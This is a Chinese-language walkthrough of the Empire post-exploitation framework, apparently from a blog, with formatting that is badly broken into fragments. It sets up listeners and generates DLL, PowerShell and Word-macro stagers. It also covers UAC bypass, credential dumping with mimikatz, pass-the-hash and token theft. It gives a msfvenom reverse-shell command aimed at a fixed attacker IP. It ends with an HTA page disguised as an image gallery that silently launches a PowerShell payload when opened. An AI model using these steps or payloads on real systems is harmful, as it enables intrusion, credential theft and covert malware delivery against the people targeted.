Empire运行在Linux平台下,安装命令以下:javascript
git clone https://github.com/EmpireProject/Empire.git //这样容易失败,建议直接去连接处下载压缩包解压进行后续使用 cd /Empire/setup/ ./install.sh
./empire
modules
即自身的一些模块listernes
即监听,相似msf
的exploit/multi/handler
模块agents
即已经连接上的会话,相似msf
所存的session
输入help
查看使用帮助
html
listeners
进入监听线程界面uselistener
后按一个空格在敲两下TAB键
列出可供使用的监听器,这里咱们选择http
info
Host
和Port
(即监听使用的ip和端口)已是咱们攻击方的IP和端口了,只须要修改Name
便可set Name test
execute
back
-list
查看设置好的监听器Metasploit
里的Payload
,Empire中有多个模块化的stager
usestager
后按一个空格在敲两下TAB键
设置采用的模块(能够看到支持linux、Windows、osx)usestager windows/dll
dll木马info
查看参数设置Name
参数:set Name test
(注意这里的名字要和监听器的名字同样!)execute
执行后会看到在tmp
目录下生成了一个launcher.dll
文件,该文件在目标主机上能够经过webshell运行,运行后empire这边就会成功上线。back
后输入launcher <language> <listenerName>
生成一行base64编码代码(即生成一个Payload),将生成的这段代码在装有powershell的目标机上执行,就会获得这个主机的权限。macro
载荷
macro
载荷tmp
目录中名称为macro
,打开咱们能够发现该载荷使用PowerShell的编码命令进行了转换,就像咱们用launcher powershell tc
生成payload,再进行VBA代码的转换。视图
-宏
,点击建立
后,在VB编辑界面将里面已有的代码删除,而后,将刚才用Empire生成的宏复制粘贴进去。否
,接着咱们保存为97-2003
格式便可。未启用宏
,点击启用宏内容
后,ok上线成功!rename 43SY8BVU tc
interact tc
sc
sysinfo
bypassuac test
,等几秒钟,就会返回一个更高权限的shell,再次输入agents
,发现当前靶机主机名前带有一个*
,表示提权成功!mimikatz
(神器mimikatz介绍)这里主要是抓取靶机的用户名和密码msfvenom
简单编码生成一个木马:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
usestager windows/dll
模块ps
查看进程background
后台运行会话use post/windows/manage/reflective_dll_inject
run
bypassuac test(监听名称)
mimikatz
获取系统密码,执行完毕后输入creds
命令查看Empire列举的密码pth CredID号
steal_token PID号
ps
咱们能够找到该进程launcher powershell test
生成一段powershell代码上面代码插入如下代码块中java
<html> <head> <title>weibo@flagellantX</title> </head> <script type = "text/javascript"> var index= -1; var images = ["base64代码段"]; function initGallery () { window.resizeTo (300,300); htaPayload (); nextPicture (); }; function nextPicture () { var img; index = index + 1; if (index > images.length -1) { index = 0; } img = document.getElementById ("gallery"); img.src = images [index]; }; function htaPayload () { var payload="PowerShell代码段"; try{ if(navigator.userAgent.indexOf("Windows") !== -1){ new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false); } } catch(e){ } }; </script> <style> #gallery, div { width: 100%; height: 100%; } #outer { text-align: center; } #inner{ display: inline-block; } body { background-color: black; } </style> <body onload = "initGallery ()"> <div id = "outer"> <div id = "inner"> <img id = "gallery" onclick = "nextPicture ()"> </div> </div> </body> </html>
Script Encoder
程序打开,选用HTML/ASP+Scripts
,点击Convert
。在右边框,造成脚本代码。以后咱们打包出一个.hta
的可执行文件,在目标主机上运行,轻松在Empire上线
linux
参考资料git